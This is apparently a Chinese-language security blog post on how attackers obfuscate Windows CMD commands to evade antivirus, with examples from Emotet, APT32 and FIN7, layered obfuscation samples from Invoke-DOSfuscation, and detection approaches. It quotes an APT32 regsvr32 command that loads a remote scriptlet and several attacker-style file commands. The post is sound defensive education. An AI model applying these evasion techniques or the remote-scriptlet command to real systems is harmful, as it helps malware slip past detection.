2020年 第 15 篇文章 ,flag 繼續
每周至少更一篇
前言上一篇根據我對問題的認知方式,講解了cobalt-strike的學習之路,希望對大家能有啟發。
Cobalt-strike在APT攻擊中相對比較常見,延續APT攻擊的思路,講解一下APT攻擊中命令混淆的場景。本篇 以CMD命令混淆作為切入點,探討一下CMD命令混淆的高級對抗。
有朋友說在後臺和我交流技術不是很方便,下面是我的微信號,想進行技術交流的可以加我,備註「公眾號」,賣貨的,伸手黨不要加我,謝謝。
一. 背景首先要說一下攻擊者為什麼會使用CMD命令混淆,它的目的是什麼?首先舉幾個現實中的例子:
1. Emotet木馬Emotet一款著名的銀行木馬,首次出現於2014年年中。該木馬主要通過垃圾郵件的方式傳播感染目標用戶,並通過腳本混淆、加密或編碼方式來繞過AV檢測,比如在垃圾郵件word附件中使用宏攻擊, 如下圖所示,這是一個從DOC文檔嵌入的VBA宏代碼中提取的CMD命令,乍一看上去,像是無意義的一串字符。
2. APT32APT32在使用regsvr32.exe 遠程註冊組件,使用混淆方式來逃避C2檢測。
regsvr32.exe /s /n /u /i:」h」t」t」p://<REDACTED>.jpg scrobj.dll
3. FIN7APT攻擊中使用混淆姿勢多種多樣,主要是通過混淆對抗靜態檢測,AV無法提取敏感參數,C2地址,從而實現繞過。同時也會加大安全人員對內容的分析難度。
做過安全策略的同學,肯定會想到 對cmd.exe的進程鏈進行監控,這樣就不用管命令是否混淆,當然這是一種很好的方式,但是並不能將所有場景覆蓋。cmd自身有很多內置命令,根本不會產生子進程,同樣威脅很大,因此對CMD命令混淆的檢測和還原非常重要。
功能使用File copycmd /c copy powershell.exe benign.exeFile deletioncmd /c del benign.exeFile creationcmd /c 「echo LINE1 > bad.vbs&&echo LINE2 >> bad.vbs」File readcmd /c type HOSTSFile modificationcmd /c 「echo 127.0.0.1 www.baidu.com >> HOSTS」File listingcmd /c dir 「C:\Program Files*」Directory creationcmd /c mkdir %PUBLIC%\ReconSymbolic link creationcmd /c mklink ClickMe C:\Users\Public\evil.exe二.CMD命令的混淆姿勢利用大小寫與特殊字符進行混淆在CMD中,CMD命令大小寫並不敏感,ping = PINg = PING :
常用來混淆命令的特殊字符主要有以下四種:
1.字符「^」是CMD命令中最常見的轉義字符,該字符不影響命令的執行。在cmd環境中,有些字符具備特殊功能,如 >、>>表示重定向,| 表示管道,&、&&、|| 表示語句連接,它們都有特定的功能。如果需要把它們作為字符輸出的話,就需要對這些特殊字符做轉義處理:在每個特殊字符前加上轉義字符^。舉個例子:echo ^>、echo ^|、echo ^|^|、echo ^^ 和c^m^d。
2.逗號「,」和分號 「;」可以互換,可以取代命令中的合法空格,多個空格也不影響命令執行。
3.成對的圓括號()也會出現在命令參數中,也不影響命令的執行。圓括號表示嵌入子命令組,同樣被cmd.exe參數處理器進行解釋。
4.雙引號 。使用雙引號包裹字符,相當於將字符進行連接。
利用環境變量進行混淆cmd.exe的環境變量分為系統已有的環境變量和自定義變量。利用環境變量的值中的字符或字符串,可以拼接成黑客需要的cmd命令,並逃避靜態檢測。在cmd中 ,set命令用來顯示、設置或刪除cmd.exe環境變量。命令格式:
SET [variable=[string]]
variable 指定環境變量名。
string 指定要指派給變量的一系列字符串。
在命令行中輸入 set,會列舉出cmd.exe中所有的環境變量,其中比較有意思的是%ComSpec%變量,值默認為「C:\WINDOWS\system32\cmd.exe」。
我們可以利用系統中已有的環境變量,通過對環境變量進行截取拼接出想要的cmd命令。格式:
%VarName:~offset[,length]%
主要用於獲取環境變量VarName的變量值,偏移offset字節之後長度為length個字節。[,length]可省略。offset 默認下標從0開始,offset也支持負數,表示反向遍歷字符串的下標。舉個例子:通過%comspec%截取出cmd.exe。
通常我們也可以自定義一個或者多個環境變量,利用環境變量值中的字符,提取並拼接出最終想要的cmd命令。如:
cmd /c 「 set envar1=ser&& set envar2=ne&& set envar3=t u&&call echo %envar2%%envar3%%envar1%」
備註:Cmd /C 「string」表示:執行字符串string指定的命令,然後終止。
在上圖中,/V:ON參數 可以啟用延遲的環境變量擴展。當/V:ON參數啟用時,可以不使用call命令來擴展變量,使用 %var% 或 !var! 來擴展變量,!var!可以用來代替%var%。
cmd /V:ON /C " set envar1=ser&& set envar2=ne&& set envar3=t u&& call echo !envar2!!envar3!!envar1!"
cmd.exe內部命令除了set,還有 assoc ,ftype等。我們可以使用這些內部命令產生的信息,拼接出我們想要的cmd命令。
assoc:文件名擴展關聯命令,用於顯示和設置文件名擴展關聯,可以指定某種後綴名的文件按照特定的類型文件打開或執行。命令格式為:
assoc [.ext[=[fileType]]]
ftype:顯示或修改用在文件擴展名關聯中的文件類型,指定一種類型的文件默認用哪個程序運行或打開。命令格式為:
ftype [fileType[=[openCommandString]]
利用For循環拼接命令For循環經常被用來混淆處理cmd命令,使得cmd命令看起來複雜且難以檢測,屬於混淆中比較高階的用法。
在For循環使用過程中,最常用的參數是 /F 和/L。
FOR /L %variable IN (start,step,end) DO command [command-parameters]
該集表示以增量形式從開始到結束的一個數字序列。因此,(1,1,5)將產生序列12345,(5,-1,1)將產生序列(54321)
FOR /F ["options"] %variable IN (file-set) DO command [command-parameters]
FOR /F ["options"] %variable IN ("string") DO command [command-parameters]
FOR /F ["options"] %variable IN ('command') DO command [command-parameters]
舉個例子,看一下For循環是如何生成命令的:
for /f " delims=f= tokens=2" %f IN ( 'assoc .cmd' ) do %f
將assoc .cmd 的返回內容拆分後,第二列正好是cmd,最後的結果就是執行cmd。
混淆神器基於上述的原理,安全大牛創造了專門的CMD命令混淆工具,高深的命令混淆批量生產,賣成了白菜價。
https://github.com/danielbohannon/Invoke-DOSfuscation
混淆分為三個等級,以ipconfig命令為例子:
1.初級 簡單通過環境變量進行混淆
cmd /C"set 4i=ipc&&set E3z=onfig&&call set sfkl=%4i%%E3z%&&cmd.exe /C %sfkl%"
2.中級
^c^M^D, , , , /^c", ,(, , , , , (s^et ^ w^3=i^pco) , )&& (S^Et ^ eH^P=n^fig)& , , C^aLl, sE^t GyHE=%w^3%%eH^P%& , , %LoCaLAPpdata:~ -3,+1%%pRoGramw6432:~9,1%d, ,/^R, , %Gy^HE%"
3.高級
^F^o^r; /^F ; , " delims=i=f tokens=2 " ,,%^2, IN; ( ,; ' ; , ^^A^^ssoC ,.cmd '; ; ) ; , ^DO ; ,%^2; ;M, , QbYcFKyL5/R "; ;(^se^T ^ ^ -,^]=^p)&&(,,,(s^e^T^_^*=^i);;)&&(^s^E^T^^@,+=^f)&& (^S^Et ^ ^{^$^+=^i)&& ( ,; ,;, (S^e^T ^.^[,^$=^g) )&& ( , (^S^e^t ^ ^#@^;=^co) ,)&&(,,,(s^E^t \^;'^?=n) ; ; )&& ; ^cA^ll ; s^e^T @}=%^{^$^+%%^ -,^]%%^*#@^;%%\^;'^?%%^@,+%%_^%%^.^[,^$%&&; ^C^A^LL,E^C^Ho; %^@^}%"|, ; F^Or , /^f ;;"tokens= 1 delims=qfNzR" , ; %^D ; ^In ; (; ; ' ;, ^^^^Ft^^^^YP^^^^E ; ,^^^|; ,^^^^F^^^^iN^^^^Dst^^^^R,^^^^c^^^^m ' ; ); , ^d^O, , %^D;
三.防禦手段有攻就有防,不能讓APT組織這麼猖狂。主流的檢測方式主要有四種:靜態檢測,AI ,語義分析,沙箱執行。
靜態檢測根據上述混淆的方式,提取關鍵特徵分支進行系統化分析,已知做的比較好的是如下的開源項目,是組內大佬設計的。
https://github.com/We5ter/Flerken
這是一種跨平臺的解決方案,不僅能檢測CMD的混淆,還能檢測 shell,powershell等命令混淆方式。靜態檢測的方式,對於動態生成+微混淆 的命令檢測能力較弱。
AI使用AI做命令混淆檢測比較前沿的是FireEye 公司,也是非常早做命令混淆檢測這方面的。設計方案細節:
https://www.fireeye.com/blog/threat-research/2018/11/obfuscated-command-line-detection-using-machine-learning.html
提取的部分特徵如下:
在訓練樣本的過程,添加一些看似混淆,其實並沒有混淆的情況,均衡覆蓋率和誤報。如下圖,紅框圈住的樣子。
大家可以看看這篇文章,雖然只是半成品,作者通過python腳本將混淆後的命令語義分析還原。
https://ddvvmmzz.github.io/Windows-CMD%E5%91%BD%E4%BB%A4%E5%8E%BB%E6%B7%B7%E6%B7%86
雖然只做了部分還原,但是思路還是不錯的,還原的內容有:
替換^符號
通過=和%的規則,查找混淆變量
通過set關鍵字,查找混淆變量
通過%:~n,m%關鍵字,查找混淆變量
還原前:
cmd /C"set uZxp=t u&&set RuT=ne""&&set HvW=s""er&&call set iQl=%RuT%%uZxp%%HvW%&& call cmd /C %iQl%"
還原後:
cmd /C"call cmd /C net user"
沙箱執行fireeye公司提供了 flare-qdb解決方案,具體不多說了,使用調試器的方式,對寄存器變量進行監控,從而獲取命令還原的過程。
https://github.com/fireeye/flare-qdb/blob/master/doc/dedosfuscator.md
參考文獻:
https://www.t00ls.net/articles-54517.html
https://update.venuseye.com.cn/reports/1548417941041/%E4%BB%A5Emotet%E4%B8%BA%E4%BE%8B%E6%B7%B1%E5%85%A5%E5%88%86%E6%9E%90CMD%E5%91%BD%E4%BB%A4%E6%B7%B7%E6%B7%86%E6%8A%80%E6%9C%AF20181212.html
https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/dosfuscation-report.pdf
最後下一篇講解powershell的混淆與惡意檢測,敬請期待。
原創不易,希望大家能積極分享,點在看。
推薦閱讀HW : Cobalt Strike 應該這樣學
WebShell通用免殺的思考
WebShell "幹掉" RASP
無文件執行:一切皆是shellcode (中)
無文件執行:一切皆是shellcode (上)
linux無文件執行— fexecve 揭秘
沙盒syscall監控組件:strace and wtrace
無"命令"反彈shell-逃逸基於execve的命令監控(上)
APT組織武器:MuddyC3洩露代碼分析
Python RASP 工程化:一次入侵的思考
教你學木馬攻防 | 隧道木馬 | 第一課
如果大家喜歡這篇文章的話,請不要吝嗇分享到朋友圈,並置頂公眾號。
關注公眾號:七夜安全博客
回復【11】:領取Sandboxie源碼